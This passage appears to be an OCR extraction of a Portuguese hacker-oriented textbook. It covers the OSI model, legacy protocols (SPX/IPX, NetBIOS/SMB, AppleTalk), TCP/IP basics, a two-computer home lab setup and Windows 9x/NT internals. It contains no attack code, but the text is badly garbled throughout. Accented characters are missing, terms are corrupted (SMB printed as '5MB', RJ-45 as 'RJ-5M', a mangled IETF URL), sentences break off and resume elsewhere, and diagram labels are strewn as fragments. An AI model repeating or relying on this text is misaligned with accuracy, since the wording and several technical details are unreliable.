Os avies utilizam-se do ar para sustentao e navegao. J os caminhes trafegam pela estradas. Os carteiros andam por cada lugar que mereceriam muitas medalhas (nem o vento, nem a chuva...). O ar, as estradas e os morros so nossos meios fsicos, por onde feito o transporte de tudo o que descrevemos nas camadas superiores. Ufa! Descrevemos pelo modelo OSI, com um exemplo no-tecnolgico (tanto o correio quanto o xadrez existem h milhares de anos...), um mtodo de transporte de mensagens entre duas aplicaes. H coisas bem interessantes a se observar nesse exemplo, o que comprova todas as teorias envolvidas no modelo de referncia. ~ Encapsulamento: A jogada foi encapsulada na notao tabular, que foi encapsulada na carta, que por sua vez foi encapsulada em um envelope, que estabeleceu uma sesso de comunicao usando os protocolos de classificao e transporte dos Correios, que envia pacotes de cartas segundo rotas especficas, que para isso trafegou em veculos que rodavam exclusivamente dentro do meio fsico especfico para os quais foram feitos. ~ Paridade: Cada uma das camadas possui um emissor e um receptor. O pessoal de classificao e envio (camada 3) "conversa" com o mesmo pessoal da outra localidade, usando os recursos da camada inferior (o caminho, por exemplo). ~ Conexo: A partir da camada quatro, vemos que todos os procedimentos precisaram que o emissor e o receptor entrem em negociao. Da camada 3 para baixo, as cartas so transportadas indiscriminadamente, sem se importar se haver algum l para receb-Ias. No chega a ser um problema: se apenas uma das camadas estabelecer um canal de conexo permanente, as outras ca-
nossa camada 2 -, mas no se preocupa com os problemas inerentes ao transporte - qual caminho designar, combustvel, motorista, problemas com greves, sindicato... J o motorista, alm de no saber por quais outros meios de transporte as cartas trafegaram, muito menos o contedo de cada carta individual, preocupa-se apenas em gerenciar os problemas inerentes ao seu trabalho: seguir a rota designada pelo pessoal da camada trs, operando o caminho de acordo com as leis de trnsito, desviando de buracos, atravessando enchentes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer qualquer uma dessas partes do processo. Para eles, o que vale mexer o cavalo de acordo com B3C5.
I 51 I I Redes 1
I Universidade
H4CK3R I
SPX!IPX
o Sequenced Packet Exchange/lnternet Packet Exchange o protocolo utilizado pela rede Netware da Novell. Implementa as camadas 3 e 4 do modelo de referncia OSI, e utiliza, como protocolo de camada 2, exclusivamente o Ethernet. Por muitos anos, Netware e Ethernet foram considerados sinnimos. Possuem diversas semelhanas com o TCP/lP. J foram os protocolos mais populares, mas, sendo o TCP/lP a base da Internet, acabaram caindo em desuso. ~ IPX - O IPX seria o equivalente ao protocolo de redes. uma implementao muito volumosa e cheia de recursos. Tem algumas caractersticas vantajosas como a deteco de endereos MAC e atribuio automtica de endereo IPX, ao contrrio de outros protocolos como o Ip, que fazem com que o usurio tenha de atribuir manualmente um endereo para. cada interface ou configurar um servio externo que automatize a tarefa. ~ SPX - Da mesma forma que o IPX, o SPX tem correspondncia com o protocolo OSI de transporte. Uma das caractersticas mais importantes dessa implementao que o SPX tem de receber a confirmao dos pacotes enviados antes de poder enviar outro, o que traz prejuzos para o desempenho da rede.
Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma que no padro TCP/IP; so elas: Aplicao, SPX,IPX, ODI/Ethernet e a camada de Interface com a Rede.
Aplicao SPX IPX ODI7Eihernet Interface com a rede Cada um dos protocolos de todas as camadas Netware foram especialmente projetados para permitir elevada confiabilidade e desempenho. Vrios flags de controle e sistemas redundantes de verificao de erros e reenvio de pacotes so empregados. A prpria camada ODI representa um encapsulamento do protocolo Ethernet para faz-Io atender s exigncias dos projetistas na Novell. Mas, como nem tudo so flores, aumentar o nmero de controles que garantam confiabilidade tem como reflexo a queda do desempenho em proporo direta. Esse foi um dos inmeros fatores que contriburam para a derrocada do SPX/lPX como famlia popular de protocolos de rede. 1521
Redes 1 r
Universidade 1ano
suporte a NetBEUI no Windows XP.A soluo usar 5MB (uma implementao de camada 7) diretamente sobre TCP /lp.
6 As novas verses do 5MB foram rebatizadas
trazerem algumas melhoras e novas caractersticas, de Comnon Internet File 5ystem, mas, apesar de ainda trata-se do velho e bom 5MB.
1531
] Redes 1
I Universidade
H4CK3R I
Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia, implementaes para TODAS as camadas do modelo de referncia OSI, com exceo da camada de rede. O que no chega a ser problema, pois fcil "encostar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse, possvel implementar uma rede Microsoft suprimindo qualquer um dos protocolos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS
/I~
NetBIOS/TCP/IP NetBIOS/SPX/IPX
TCP/IP
e 6) sobre NetBIOS/NetBEUI (5/4) sobre Ethernet (2). Essa era a soluo no rotevel, pois no h protocolo de camada de redes na cadeia. No segundo caso, temos 5MB(7/6) sobre NetBIOS (5),TCP/lP (4/3) ou sobre SPX/lPX (4/3) sobre Ethernet (2). Nessa implementao, temos o conjunto completo de camadas OSI implementadas por algum protocolo. Se por um lado isso agrada aos redatores de normas, por outro cria uma pilha de protocolos muito pesada e cheia de furos de segurana. Se for usar a Internet, melhor no ir por esse caminho. O terceiro o mais radical. Todos os antigos protocolos NetBIOS foram simplesmente desprezados, uma vez que a Microsoft "deu um jeito" de fazer o 5MB funcionar diretamente sobre TCP/lp. Se por um lado h ganho de desempenho e segurana, perde-se a API facilitada para escrever programas para rede. Podemos, ento, estratificar esses protocolos (incluindo os externos de camadas 4, 3 e 2) da seguinte maneira:
5MB/CIFS (7 e 6) NetBIOS/NetBEUI/NMB (5 e 4)
Apesar de sua idade e suas falhas, protocolos baseados em 5MB/CIFSso muito populares ainda hoje pela facilidade com que os usurios podem compartilhar recursos de seus computadores. Em redes bem administradas isso pode aumentar a produo. Em redes mal administradas, pode aumentar a confuso... Em ambos os casos, a implementao de redes mais utilizada da face da Terra.
j41 Redes1 r
Universidade 1 ano
Appletalk
O AppletaIk, como o prprio nome sugere, o protocolo proprietrio utilizado nas redes de computadores Apple. composto por protocolos de transporte e entrega, o ATP(AppleTalkTransport Protocol) e o DDP (Datagram Delivery Protocol), equivalentes s camadas 4 e 3 do modelo de referncia OSI, respectivamente. Aplicao Sesso Transporte Entrega de Datagramas Acesso rede
Camadas
o modelo AppleTalk est dividido em cinco camadas: aplicao, sesso, transporte, entrega e acesso rede. Muito semelhante com o padro OS!.
TCP/IP
o
protocolo conhecido como TCP /lP (Transmission Control Protocol!
Internet Protocol) , atualmente, o padro de fato. Foi concebido justamente para trabalhar nas camadas 3 e 4 do modelo OSI e, portanto, ser completamente rotevel. Sua criao teve propsitos acadmicos e militares, pois foi utilizado em diversas redes de universidades e de defesa norte-americanas nas dcadas de 70 e 80. O protocolo atingiu a "fama" com a Internet e est implementado em praticamente todos os sistemas operacionais existentes.
Camadas
o TCP/lP est dividido em diversas camadas, como veremos a seguir: ~ Camada de aplicao: Responsvel pela comunicao entre o protocolo destinado ao transporte e os aplicativos em execuo, como o DNS, FTP, HTTP e SMTP, entre outros. Corresponde s camadas OSI 7, 6 e 5 e implementado nos prprios programas (camada 7). . ~ Camada de Transporte: Cria a conexo virtual entre dois computadores, exatamente como descrito do modelo OS!. ~ Camada de Internet: Responsvel pela organizao e roteamento pacotes defmindo seus endereos. ~ Camada de Interface com a Rede: Responsvel pelo envio dos datagramas proAplicao venientes da camada de Internet. No faz parte do protocolo TCP/lP,mas um componente obrigatrio. Normalmente usado o proTransporte Internet tocolo Ethernet, embora o TCP/lP seja completamente independente e possa trafegar em Interface com a Rede meios to dspares como fibras ticas/FDDI, 1inks de rdio, X.25 ou Frame Relay. dos
1551 ] Redes 1
I Universidade
H4CK3R
Entendendo o TCP!IP
A famlia de protocolos TCP/lP a base de Internet e da maioria das redes de computadores espalhadas pelo globo. Para entender como essas redes funcionam, necessrio ter uma noo de como o protocolo TCP/lP gerencia o envio e recebimento de dados entre dois ns. Note que chamamos o conjunto de protocolos TCP/lP de famlia. H mais deles do que apenas esses dois, que do nome famlia (e so, realmente, os mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o ICMP (Internet Control Message Protocol), entre outros. TCP e UDP so protocolos de camada 4, ou seja, propiciam mtodos para que os dados vindos da camada 5 sejam transportados at o n destino. IP e ICMp'por outro lado, so protocolos de camada 3, o que significa oferecer insumos para que a camada 4 possa fazer seu servio. O TCP/lP e protocolos auxiliares esto definidos em uma srie de documentos mantidos pelo Interbet Engineering Task Force (lETF). Procure pelas RFCs 791,792 e 793 no site oficial: www.ieticom/rfc.htm1. Embora vamos estudar o TCP/lP com detalhes no captulo complementar a este, Redes 11,alguns aspectos devem estar claros para que possamos continuar a leitura deste livro.
o protocolo IP
o grande agente transportador
de nossos dados entre as diferentes redes
o protocolo IP. O protocolo define um pacote de dados, que contm campos parecidos com os campos que vimos no quadro Ethernet e uma rea para transportar os dados vindos da camada superior. Entre esses campos, temos os endereos IP de destino e origem, flags de controle e verso - em suma, tudo o que se espera de uma implementao real de um protocolo. Um pacote IP parece-se com este: Verso
IHL
TamanhoTotal
Fragmentao
Nmero de Verificao
Enchimento
Dados
56 I
Redes 1 r
Universidade 1ano
Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato: 000.000.000.000, em que cada byte pode incorporar um valor que vai de O at 255, como em 198.254.10.1. Outra informao pertinente a de que no deve haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso causaria conflito nas mquinas e uma delas estaria impossibilitada de se conectar rede. Mscara de Rede Possui o mesmo formato do endereo IP (000.000.000.000), mas afeta apenas um segmento particular da rede. utilizada para dividir grandes redes em redes menores, facilitando a administrao e reduzindo trfego exprio.
TCP/UDP
Dentro dos pacotes IP, podemos transportar dois tipos de pacotes de dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maioria dos servios para carregar informaes entre as duas extremidades da conexo, e possui caractersticas de controle de fluxo e recebimento. O outro o UDp, mais simples e sem qualquer tipo de controle, mas rpido e com impacto menor no desempenho da rede.
Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados aplicao ou servio que est enviando ou transmitindo os dados. Cada um desses servios est relacionado a um nmero chamado porta. Por exemplo, em um servidor qualquer, a porta TCP 80 oferece o servio HTTP,enquanto a porta UDP 53 pode oferecer um servidor de DNS.
DNS
O Domain Name Server traduz um nome de fcil memorizao em um nmero de IP.Por exemplo, vamos supor que o IP de um servidor na Internet seja 200.167.208.1, o DNS poder atribuir um nome a ele para que sua localizao seja mais fcil, como www.siteprocurado.com.br.Ao colocar esse endereo legvel no browser, esse vai entrar em contato com o servidor de DNS e fazer a converso para nmero IP.
ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC. Quando o pacote IP chega rede destino, deve haver um mecanismo que diga ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est contido no pacote, faz-se uma pergunta a todas as mquinas da rede: "quem tem meu IP"?A interface configurada com aquele IP responde com o endereo MAC,e o pacote enviado a ela. 1571
] Redes 1
I Universidade
H4CK3R I
Laboratrio
de Redes
o laboratrio de Redes I tem como objetivo auxiliar o leitor iniciante na montagem de uma rede domstica. Mas qual a utilidade desse tipo de rede para o futuro hacker ou administrador? A resposta bem simples: testar tcnicas de ataque e defesa em uma rede fechada. Isso pode englobar desde a instalao de um firewall caseiro at o teste com vrus e trojans. Obviamente, so necessrios pelo menos dois computadores para que a rede seja criada. Como a inteno montar uma rede para testes, voc pode optar por computadores mais antigos e sem tantos recursos, como CD-ROM e hardware de som. A seguir, vamos conferir os passos para a montagem da rede desde a parte fsica at as configuraes necessrias. Recursos necessrios ~ 2 computadores; ~ 2 placas de rede (pCI ou ISA); ~ Cabos de par tranado na configurao cross-over; ~ Sistema operacional (nesse caso, estaremos trabalhando com Wmdows 9x).
""""""",,,,,,,,,,,,.,,,,,,, """"" """""'''''''''''''''''''''''' "'''''''' '''''''''''''''''''' """ """" "''''' ", """"""""""""'''''''''''''''''''' """""""""""""""""""""" """"""""""""''''''''''''''''''''
............................... .......................
........................ ...............................
11111111111111111.
.11111111111111111.
158 I Redes 1 r
Universidade 1ano
Aps a ftxao da placa, reinicie o computador. Provavelmente o sistema operacional vai detectar a presena de um novo hardware e apresentar uma janela com as opes para a instalao. Opte sempre por instalar os drivers originais que acompanham a placa. O Windows vai concluir a instalao e ento s repetir o processo no outro computador. Aps decidir onde as mquinas ftcaro localizadas, chega a hora de colocar os cabos para concluir a parte fsica da rede. Como estamos tratando da conexo de apenas dois micros, usaremos cabo conhecido como cross-over. Os cabos de rede possuem pequenos ftos que devem estar dispostos em uma certa seqncia para que possa haver a troca de dados, no caso do cross-over, preciso inverter alguns desses ftos. As lojas de informtica j vendem esses cabos prontos, mas, se voc quiser aprender como mont-Ios, observe no quadro abaixo a seqncia correta de clipagem no cabo, lembrando que o conector (ponta do cabo) deve ser RJ-5M: Ponta A 1- Branco/iaranja 2- Laranja 3- Branco/Verde 4- Azul 5- Branco/Azul 6- Verde 7- Branco/Marrom 8- Marrom Ponta B l~Branc()/Verde . 2- Verde 3- BrancolLaranja 4- Azul 5- Branco/Azul 6- Laranja 7- Branco/Marrom 8- Marrom
Agora, basta apenas configurar os computadores para estabelecer uma conexo de rede. Ateno! Nunca use um cabo cross-over em uma rede com hubs. A risco de danillcar o equipamento.
Configurando a rede
Com todas as instalaes de hardware completas, chega a hora de conftgurar os computadores. Para montagem da rede, vamos utilizar o protocolo TCP/lP visto anteriormente, pois esse mais flexvel e conftvel.A conftgurao do endereo IP ftca a critrio de quem est montando a rede, isso porque o prprio Wmdows pode designar um IP automaticamente para cada mquina se desejado. Aqui, ns atribuiremos manualmente os IPs.
Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa IPs que esto reservadas para as redes domsticas. Esse nmero ftca entre 192.168.0.1 e 192.168.255.254, alm disso, o endereo de cada micro deve ser diferente para que no haja conflito entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado. Para tanto, abra o painel de controle e v em "Redes", se o protocolo no estiver
1591
I Redes 1
I Universidade
H4CK3R I
listado na guia "Configurao", ento ser necessrio instal-Io. Aproveite tambm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de arquivos e impressoras para redes Microsoft". Ento, dique no boto "compartilhamento de arquivos e impressoras" e marque a opo "Desejo que outros usurios tenham acesso aos meus arquivos". Aps decidir o nmero de Ip, hora de prosseguir. Abra novamente o cone de redes no painel de controle, escolha o protocolo TCP/lP e clique no boto de propriedades. Uma nova janela ser aberta, ento clique na guia "Endereo IP" e marque a opo "Especificar um endereo IP", preencha o campo do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede, voc deve colocar o seguinte nmero: 255.255.255.0. Agora ns devemos identificar o computador e o grupo de trabalho, para isso, dique na guia "Identificao" na janela de redes. Lembrando que o nome dos computadores pode ser diferente, mas a grupo de trabalho deve ser o mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha e um login para a rede. Pronto, se os dois computadores estiverem conectados e configurados corretamente, voc deve ter sua rede rodando sem problemas. Para compartilhar uma pasta, basta apenas clicar com o boto direito do mouse na pasta desejada e acessar as opes de compartilhamento.
Redes 1[
Windows
Captulo
"Aujourd'hui rOI;demain rien ",I (Ditado popular francs]
Plataforma
1 Hoje
rei.
alllanl1
nada.
I Universidade
H4CK3R I
Costuma-se dizer que mais de 90% dos computadores destinados ao usurio final - seja em empresas ou em casa - possuem algum sistema Microsoft Windows instalado. Esses nmeros podem at ser questionados, mas inegvel que a empresa fez um bom trabalho de usabilidade (e de marketing!) para fazer o usurio e o desenvolve dor de software acreditarem que o Windows a nica opo de sistema operacional para leigos. Hoje a realidade at um pouco pior que isso. As pessoas compram seus computadores em supermercados com Windows instalado de fbrica e acreditam que o programa parte intrnseca da mquina. Elas no acham que precisem de opes. Assim como compra-se um automvel j com o volante, compra-se computadores j com o sistema da gigante de Redmond.
As ~~famlias" Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando quase que duas plataformas completamente diferentes internamente, embora conservando a mesma aparncia externa.
Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa famlia caracteriza-se por possuir um kernel em parte baseado no antigo MSDOS e, portanto, compatibilidade com programas antigos. Tambm por isso possuem algumas limitaes. A famlia Win9x uma verso quase totalmente reescrita do Windows 3, que no era exatamente um sistema operacional. O Windows 3 era considerado por alguns apenas como uma interface grfica que rodava em cima do MS-DOS.Os autores concordam com essa afIrmao apenas em parte. O Windows 3 acrescentava caractersticas h muito desejadas pelos usurios e j presente h alguns anos em sistemas Macintosh, como o processamento multitarefa e um melhor gerenciamento de memria. E o usurio podia interagir com o sistema utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar dezenas de comandos para chamar seus programas e gerenciar seus arquivos. Com efeito, podemos dizer que o conjunto MS-DOS+ Windows 3 deveria ser considerado um sistema operacional completo. O Windows 95 era um passo frente. As APIs (Application Programming Interfaces - uma espcie de "tomada" do sistema operacional em que voc encaixa o seu programa) foram completamente remodeladas. Mas o kernel do sistema era um "frankenstein" contendo vrios elementos novos costurados em uma verso atualizada do velho MS-DOS,embora totalmente escondido. As verses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carregam verses (sempre atualizadas, verdade) desse kernel. Como o MS-DOSera monotarefa, transform-Io em um sistema multitarefa como o Windows requereu diversos work-arounds e programas externos rodando na rea do usurio e
41
Plataforma Windows [
Universidade 1 ano
executando tarefas que seriam do kemel. O gerenciamento de memria um exemplo. Talvez isso explique a conhecida instabilidade desses sistemas, especialmente os erros do tipo GPEA adoo do MS-DOScomo ponto de partida para o desenvolvimento das novas verses do Windows teve, entretanto, a vantagem de oferecer compatibilidade a software e hardware antigos.
Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e Windows :xp2. Sua primeira verso, o Windows NT, foi desenvolvida para ser o sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do LAN Manager com a interface grfica do Windows 3.1 e um novo projeto de kemel, o Windows NT pretendia brigar num mercado dominado por mquinas Unix e Novell. Mesmo com desempenho, escalabilidade e confiabilidade, na poca, menores do que os de seus adversrios, a Microsoft conseguiu, em poucos anos, alavancar o Windows NT como a plataforma de redes mais vivel e utilizada. Fez isso baseada em trs princpios: ~ Preo baixo: uma licena do Windows NT custava muitssimo menos que licenas do Novell Netware ou de qualquer sabor de Unix. E rodava em servidores baseados em processadores Intel, hardware mais barato que as carssimas RISC dos Unices. ~ Facilidade de configurao e operao: enquanto os servidores Unix e Novell possuam interfaces com o usurio baseadas em caractere, o Windows NT disponibilizava para os administradores de sistema uma interface grfica semelhante dos micros desktop. ~ Marketing: a mquina de divulgao da empresa, localizada em Redmond, no estado de Washington, EUA, mundialmente conhecida. Eles foram muito felizes ao promover o novo sistema operacional de redes da Microsoft, evidenciando ao mximo na mdia os dois princpios anteriores. Os sistemas operacionais para servidores de rede da Microsoft, impulsionados pelos trs princpios citados e auxiliados pela inrcia dos concorrentes, levaram o Windows NT ao primeiro lugar em servidores administrativos durante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tambm para SOs que rodassem nos computadores das pessoas, em casa ou no escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o kerne1 do Windows NT proporcionava. A famlia Windows NT logo ganhou verses para ser usada nas mquinascliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT Workstation, e possua uma estabilidade muito superior de qualquer mem2 Apesar de a Microsoft divulgar que o Windows 2000 um sistema totalmente reescrito, apenas baseado no Windows NT, sabe-se por fontes no oflciais que ele ainda possui muita coisa intocada do NT original. O Windows Xp, por outro lado, possui partes do Windows 2000 e do Windows Me, para garantir compatibilidade com os programas antigos do usurio. O que quer dizer que ainda h tecnologias do NT, do Win9x e mesmo do velho MS-DOS nele.
1651
I
Plataforma
Windows
I Universidade
H4CK3R I
bro da famlia Win9x at hoje. Era, basicamente, o kerne1 do NT Server sem os servios de servidor e com algumas modificaes para adapt-Io aos computadores de mesa. Alguns usurios, cansados de ter de reiniciar a mquina e per-
Nos bastidores...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que seja o sentido que voc empregue palavra) deve conhecer profundamente o funcionamento de pelo menos um sistema operacional. Apesar de os sistemas Unix serem uma boa escola, por sua modularizao extremamente didtica, entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a entender como um sistema pode evoluir, e possveis maneiras de contornar problemas inerentes compatibilidade com tecnologias antigas. Devido natureza proprietria e fechada dos produtos Microsoft, nem todas as informaes sobre os sistemas so divulgadas. Este captulo tomou como ponto de partida o knowledge base autorizado pela empresa. No entraremos em muitos detalhes a respeito do kernel do sistema.
Estrutura
De uma forma geral, ambas as famlias do sistema operacional Windows empregam o conceito de microkernel: apenas os servios mais bsicos so implementados. Todos os outros so executados por programas externos, que rodam em user mode, ou seja, como programas comuns. Grosso modo, isso significa que o usurio pode perigosamente ter acesso a partes do kernel.
3 Alguns usurios tentaram outros sistemas, como o OS/2 (antes de ser morto pela IBM), o Macintosh (neste caso, substituindo no s o software, mas todo o computador) e, mais recentemente, opes como o BeOS, o FreeBSD e o linux. Com exceo do OS/2 e do BeOS (recentemente descontinuado), a maioria das pessoas que migrou para outras plataformas no retornou ao Windows. Sintomtico? 4 Essa verso teve oficialmente quatro nomes diferentes, e outros tantos extra-oficiais. Chegou a ser chamada de Windows .NET Server numa referncia s novas tecnologias baseadas em XML da empresa, mas ao que parece a Microsoft desistiu da associao no nome. Mesmo assim, o produto est sendo chamado no site da empresa de "o aglutinador das tecnologias .NET" ("the glue to all .NET technologies'').
,61
Plataforma Windows I
Universidade 1ano
UserMode
,,
,,
,,
,, ,
, ,,
"
,
Kernel Mode
~~
~~"
Hardware
Internamente, as duas famlias de produtos Windows so muito diferentes, embora exista uma camada de compatibilidade para que ambas as plataformas possam compartilhar os mesmos drivers de equipamentos e perifricos, os famigerados Device Drivers. A famlia NT possui ainda camadas de compatibilidade de software que permite ao sistema operacional executar com sucesso programas desenvolvidos para a famliaWin9x e mesmo para padres aliengenas como UnixIPOSIX,Windows 16 bits e OS/2 da IBM.
~ Famlia Wm9x
Acessrios
C:J
I
Registro
NcleodoWindows98 ("core")
Gerenciadorde sistemasde Gerenciadorde arquIvos Configurao instalveis(lFS)
Oevice Orivers
EJ
I
Gerenciadorde DriversWDM
1671
I
Plataforma
Windows
I Universidade
H4CK3R I
Observe atentamente o diagrama. A estrutura interna do Windows 9x aparentemente modular. H uma diviso clara entre o ncleo (normalmente chamado de core) e as outras partes do sistema. Tal diviso, embora visvel no papel, extremamente tnue na prtica. Vrios processos crticos do sistema rodam na mesma rea de memria e disputam os mesmos recursos de processamento que os programas do usurio. Apesar de simplificar o desenvolvimento do SO e permitir compatibilidade com hardware e software legados, no h como escapar das instabilidades que essa estrutura acarreta. Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual separada, e tem a impresso de possuir um hardware e um ncleo do sistema operacional exclusivos. Programas antigos para o MS-DOStambm rodam em mquinas virtuais separadas, mesmo porque eles tendem a capturar todos os recursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rodlos no Wmdows.J os programas de 16 bits do Wmdows 3, devido sua natureza multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits. H um shell para intetfacear as mensagens entre cada mquina virtual dos programas e o ncleo real do sistema.Esseshell tambm se encarrega de fornecer os widgets (botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as aplicaes e de mostrar as janelas j montadas para o usurio, de forma que ele possa interagir com o sistema.Esseshell tambm fornece alguns dos utilitriose ferramentas do sistema,como o Wmdows Explorer,o Painel de Controle e o Ambiente de Rede.
Registro
I
Gerenciadorde DriversWDM
tE
II Configurao
o corao da famlia Win9x o core system. Composto por trs componentes: o kernel, responsvel pelo controle de processos, de EIS e do hardware; o user, que controla os elementos manipulveis pelo usurio (janelas, eventos disparados pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics Device Interface, que interage com o hardware de vdeo. O subsistema de impresso tambm est situado no GDI.
1681
Plataforma Windows [
Universidade 1 ano
Acessrios
]C
I
:J
Registro
Ncleo do Windows
Gerenciador
de
98 ("core")
VMM
sistemas de arquivos
instalveis (lFS)
Gerenqi-aor de 1I COr)fiyurao
,
~y-evice Orivers
GOl Kernel
A famlia Win9x tem o compromisso de ser compatvel com aplicativos antigos de 16 bits do Windows 3.11 e mesmo do MS-DOS.Portanto, os componentes kernel, user e GDI do ncleo so, na verdade, duplas de arquivos. Os componentes correspondentes do ancio Windows 3.11 ainda esto presentes e os aplicativos antigos os acessam. Esse um dos maiores calcanhares-de-aquiles da famlia Win9x: os programas de 16 bits no trabalham em modo protegido, nem acessam um core que trabalhe nesse modo. O resultado a destruio completa da preempo multitarefa do sistema e do gerenciamento de memria. Entre o ncleo e os drivers para os dispositivos de hardware existe uma camada tambm de interface, com rotinas que tornam o core do Windows independente do hardware utilizado. Um dos componentes dessa camada o VMM ou Virtual Machine Manager. o VMM que cria e administra cada uma das mquinas virtuais para todos os programas do usurio, e o prprio ncleo do sistema tem sua prpria VM.
"im
.'
.''''''''.'
EI
Registro
Gerenciador de
II Orivers WOM
Agendador de processos
Device Orivers
1691
I
Plataforma
Windows
I Universidade
H4CK3R I
Outro componente dessa camada o IFS ou Installable File System. O sistema no preparado para reconhecer um nmero [mito de sistemas de arquivos de maneira nativa. Em vez disso, o IFSpermite que novos file systems sejam "plugados", fornecendo assim compatibilidade para virtualmente quaisquer tipos deles - basta que algum escreva o mdulo correspondente.
Acessrios I'
Programas
I rC :J
II
Registro
Shellde32-bits
Ncleo do Windows 98 ("core")
~~
_-"_~44-ft~-"
~~/[~V~M~~I
..
. I I
: ..o,', "
. ' ,
"Gr~~Ciadorde
Config'!:Ir~o
'. ..
Gerenciador de EIS (lOS) Camadas diversas* Camadas SCSI Oriver de conexo Mini-camada de conexo SCSI
~ o
~
J
o
O Gerenciador de Configuraes, por outro lado, o responsvel pela auto-matiz ao da instalao de hardware Plug and Play e seus drivers.
Acessrios
I
Programas
O mdulo rege todo o processo de talao, e mantm atualizada a base de dados de hardware no Registro.
instalao, configurao e desins-
arquIvos
instalveis ,
,
(IFS)
.
.., , ,
-
" I' . ,I
Gerenciadorde DriversWDM
170 I
Plataforma Windows
r
Universidade 1 ano
Por fIm, o WDM (Win32 Driver Model) uma camada de traduo entre os drivers de dispositivo e o ncleo. Ele "engana" o driver, fazendo-o pensar que est instalado no kernel de um Windows NT. Com isso, fornecedores de hardware podem desenvolver drivers que funcionem em ambas as plataformas indiferentemente. A camada do sistema operacional mais prxima do hardware a de device drivers. Estes so compostos por dois tipos complementares de drivers, os Universais e os Mini-drivers. Veja a ilustrao:
Device
Os drivers Universais so grandes guarda-chuvas com especifIcaes genricas para os dispositivos. Por exemplo, h um driver chamado Universal Modem que contm informaes genricas compartilhadas pela maioria dos modens. Isso facilita sobremaneira o desenvolvimento de drivers com as caractersticas especficas. Tais caractersticas so implementadas em drivers auxiliares chamados de Mini-drivers. No nosso exemplo dos modens, um fabricante pode se basear no driver Universal e escrever um Mini-driver apenas com as especifIcaes que diferirem. Note ainda que muitos dispositivos de hardware podem trabalhar somente com o driver universal. O tipo de driver mais comum o Virtualization Driver, ou VxD.Alguns dispositivos de hardware devem ser capazes de atender simultaneamente a solicitaes de diversos programas. Esses dispositivos usam VxDs para criar vrias instncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o hardware em questo exclusivo para si. O ltimo elemento , em companhia da Interface com o Usurio, o mais palpvel. O Registro um banco de dados que guarda as confIguraes globais de todo o sistema, bem como as de cada aplicativo. Qualquer alterao comportamental ou de funcionamento do sistema deve ser efetuada no Registro. ~ FamliaWinNT A arquitetura da famlia WinNT difere radicalmente da famlia Win9x. Nela, h uma separao explcita entre o modo de operao do kerne1 e o modo de operao do usurio. Os programas do usurio rodam em um espao de memria exclusivo e possuem um tempo determinado de uso de cpu. Os processos rodando no modo kerne1 esto, dessa forma, protegidos contra a ao predatria de programas "mal-educados".
I 1
71
Plataforma
Windows
I Universidade
H4CK3R I
Service Processes
User applications
Enviroment subsystems
~
~H.a.rdware
SubsystemOLls
J
Windowing andgraphics
Executive
~~r~elm ..ml [MOevceOriv:rs J
.Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1
Ao contrrio de sistemas operacionais mais antigos, como o Unix original e os sistemas de mainframes, o kernel do Windows NT e descendentes no monoltico. Em vez de carregar todos os tipos de device drivers possveis e imaginveis dentro da" cachola" ,o Windows emprega o conceito de microkerne1: um ncleo com apenas os servios mais crticos e essenciais que pode ser comp1ementado com programas auxiliares externos. A maioria desses programas externos roda em modo user, deixando o kernel mo de apenas para os servios de mais baixo nvel e alta prioridade. Tais servios esto divididos em cinco grandes componentes. O primeiro o GDI, que controla os dispositivos de vdeo de forma semelhante ao da famlia Win9x. Os quatro outros componentes - Windows Executive, Kernel, Device Drivers e HAL- so to intimamente ligados entre si que aparecem num mesmo quadro em nosso diagrama. O Executive abriga diversos mdulos de interface entre o kernel e os outros componentes, tanto para o usurio e programas quanto para o hardware - poderia ser considerado um "shell" do kernel. Os device drivers trabalham de maneira tambm muito semelhante aos da famlia Win9x, com arquitetura baseada em VxDs e WDM. Por ltimo, o Hardware Abstraction Layer ou HAL,fornece uma camada de abstrao para o kernel. O princpio de funcionamento do HAL muito parecido com o do modelo Universal!Mini-driver. O HAL"engana" o ncleo do Windows, fazendo com que ele acredite que o hardware seja sempre o mesmo. Se alguma coisa na arquitetura do PC mudar - por exemplo, um novo mtodo de acesso memria -, basta instalar um novo HAL. No haver necessidade de reinstalar uma verso mais nova do Windows, muito menos reescrev-Io todo novamente. Os sistemas da famlia WinNT tambm se utilizam do conceito de Registro para manter as configuraes do sistema. A estrutura do registro , inclusive, muito parecida com a da famlia Win9x. 721
Plataforma Windows I
Universidade
ano
1
..
~, ; .-: /~
1
I I I I
I I
I I I I
User
Mede
I
:
Kernel Mede
"
. . .
Observe Dentro
as semelhanas
